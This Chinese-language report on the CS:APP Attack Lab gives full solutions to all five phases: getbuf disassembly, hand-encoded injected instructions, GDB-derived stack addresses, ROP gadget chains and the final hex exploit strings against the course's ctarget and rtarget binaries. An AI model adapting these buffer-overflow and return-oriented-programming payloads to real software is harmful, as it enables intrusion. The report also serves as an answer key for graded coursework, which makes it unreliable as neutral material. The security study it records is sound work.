Skip to content

Latest commit

 

History

History
213 lines (170 loc) · 6.4 KB

File metadata and controls

213 lines (170 loc) · 6.4 KB

Attack Lab 实验报告

实验目的

  1. 了解攻击者如何从缺乏缓冲区溢出防护的程序中寻找安全漏洞;
  2. 了解如何利用编译器和操作系统提供的特性,编写更加安全的程序;
  3. 理解栈的原理,以及 x86-64 传参机制;
  4. 理解 x86-64 指令的编码方式;
  5. 练习使用 GDB 和 OBJDUMP。

实验原理

代码注入(Code injection)

对于栈的起始地址在每次运行时都不改变的程序,如果该程序接受长度不定的用户输入,并将用户输入存储于位于栈的大小固定的缓冲区中,那么攻击者可以精心设计输入,在造成缓冲区溢出的同时,修改上层栈的内容,达成返回到特定代码块等效果;如果程序允许执行存储于栈中的指令,攻击者还可以在输入中添加指令,并使这些指令得到执行。

面向返回编程(Return-oriented programming)

如果栈的起始地址在每次运行时不固定,或者不允许执行存储于栈中的指令,那么代码注入的难度将会加大。但是,在这一情况下,攻击者仍然有机会拼凑原本已经位于程序中的代码片段,进而通过在上层栈中覆写对应于各代码片段的返回地址的序列,达到执行特定代码的目的。

实验过程

Phase 1(CTARGET)

目标:从 getbuf() 返回到 touch1()

首先检查 getbuf() 的汇编实现:

00000000004017e7 <getbuf>:
  4017e7:	48 83 ec 18          	sub    $0x18,%rsp
  4017eb:	48 89 e7             	mov    %rsp,%rdi
  4017ee:	e8 7e 02 00 00       	callq  401a71 <Gets>
  4017f3:	b8 01 00 00 00       	mov    $0x1,%eax
  4017f8:	48 83 c4 18          	add    $0x18,%rsp
  4017fc:	c3                   	retq

第一条指令分配了 24 字节的栈空间作为缓冲区,据此攻击时可先用 24 个零字节填充该缓冲区(下同)。

再检查 touch1() 的地址:

00000000004017fd <touch1>:

综上,构造的二进制串可为:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
fd 17 40 00 00 00 00 00

Phase 2(CTARGET)

目标:从 getbuf() 返回到 touch2()。要传入一个整数形式的 cookie,作为 touch2() 所要求的参数。

首先构造指令,将 %edi 的值赋为 cookie。cookie 的值为 0x4ad753f3,据此设计指令:

mov $0x4ad753f3, %edi
retq

以上指令的编码结果为:

bf f3 53 d7 4a c3

现在要将以上编码结果存入栈中并执行。用 GDB 查询得 getbuf() 执行起始的栈顶地址为 0x000000005561d550,于是考虑在这一地址覆写地址值 0x000000005561d558,再在地址 0x000000005561d558 覆写自定义代码。执行上述编码结果前,还应先设置 %rsp 为位于上层栈中的另一地址,并在这一地址覆写 touch2() 的地址。设计为 %rsp 赋值的指令:

add $0x10, %rsp

以上指令的编码结果为:

48 83 c4 10

touch2() 的地址为 0x0000000000401829。综上,构造的二进制串可为:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
58 d5 61 55 00 00 00 00
48 83 c4 10 bf f3 53 d7
4a c3 00 00 00 00 00 00
29 18 40 00 00 00 00 00

Phase 3(CTARGET)

目标:从 getbuf() 返回到 touch3()。要传入一个字符串形式的 cookie,作为 touch3() 所要求的参数。

首先选取上层栈的某一位置存放 cookie 对应的空终止字符串。这里选取地址 0x000000005561d570(getbuf() 起始栈地址高 32 字节处),同时空终止字符串的二进制表示如下:

34 61 64 37 35 33 66 33 00

其余部分与 Phase 2 类似,但将 %rdi 的值赋为上述字符串所处地址,并用 touch3() 的地址替换 touch2() 的地址。设计为 %rdi 赋值的指令:

mov $0x000000005561d570, %rdi

以上指令的编码结果为:

48 c7 c7 70 d5 61 55

touch3() 的地址为 0x000000000040193a。综上,构造的二进制串可为:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
58 d5 61 55 00 00 00 00
48 83 c4 10 48 c7 c7 70
d5 61 55 c3 00 00 00 00
3a 19 40 00 00 00 00 00
34 61 64 37 35 33 66 33
00

Phase 4(RTARGET)

目标:同 Phase 2,但程序为 RTARGET。

在 RTARGET 中,将 cookie 存入寄存器的唯一方法是将 cookie 覆写到栈中,并执行 popq 指令。在 gadget farm 中找到了如下几条以 popq 指令开头并以 ret 结尾的 gadget:

# At 0x00000000004019e8
pop %rax
nop
retq
# At 0x00000000004019ed
pop %rsi
mov %rax, %rdi
retq

没有找到 pop %rdi,因此还要寻找 mov 指令。找到了如下几条:

# At 0x00000000004019ee
mov %rax, %rdi
retq
# At 0x0000000000401a6d
mov %rsp, %rax
nop
retq

据此,可先执行 pop %rax,再执行 mov %rax, %rdi。另外,touch2() 的地址为 0x0000000000401829。综上,构造的二进制串可为:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
e8 19 40 00 00 00 00 00
f3 53 d7 4a 00 00 00 00
ee 19 40 00 00 00 00 00
29 18 40 00 00 00 00 00

Phase 5(RTARGET)

目标:同 Phase 3,但程序为 RTARGET。

在 RTARGET 中,不能事先获知栈地址,只能透过 %rsp 在运行时获知。因此要将 cookie 字符串的地址存入寄存器,就必须在某一时刻访问 %rsp 的值。

现在找到了一条加法指令:

# At 0000000000401a11
lea (%rdi,%rsi,1), %rax
retq

于是可以考虑将 getbuf() 执行起始的栈顶地址和 cookie 地址相对栈顶地址的偏移量(可事先确定)存入 %rdi%rsi。除了加法指令,目前还有以下线索:

  1. 赋值链:%rsp -> %rax -> %rdi

  2. 可通过 pop %rsi%rsi 赋值。

那么可以设计如下指令:

# At 0x0000000000401a6d
mov %rsp, %rax
nop
# At 0x00000000004019ed
pop %rsi
mov %rax, %rdi
# At 0x0000000000401a11
lea (%rdi,%rsi,1), %rax
# At 0x00000000004019ee
mov %rax, %rdi

touch3() 的地址为 0x000000000040193a。综上,构造的二进制串可为:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
6d 1a 40 00 00 00 00 00
ed 19 40 00 00 00 00 00
28 00 00 00 00 00 00 00
11 1a 40 00 00 00 00 00
ee 19 40 00 00 00 00 00
3a 19 40 00 00 00 00 00
34 61 64 37 35 33 66 33
00

心得

Visual Studio Code 有一个正则表达式文本搜索功能,可以批量搜索指令,这一功能在 Phase 4 和 Phase 5 中给我提供了很大的帮助。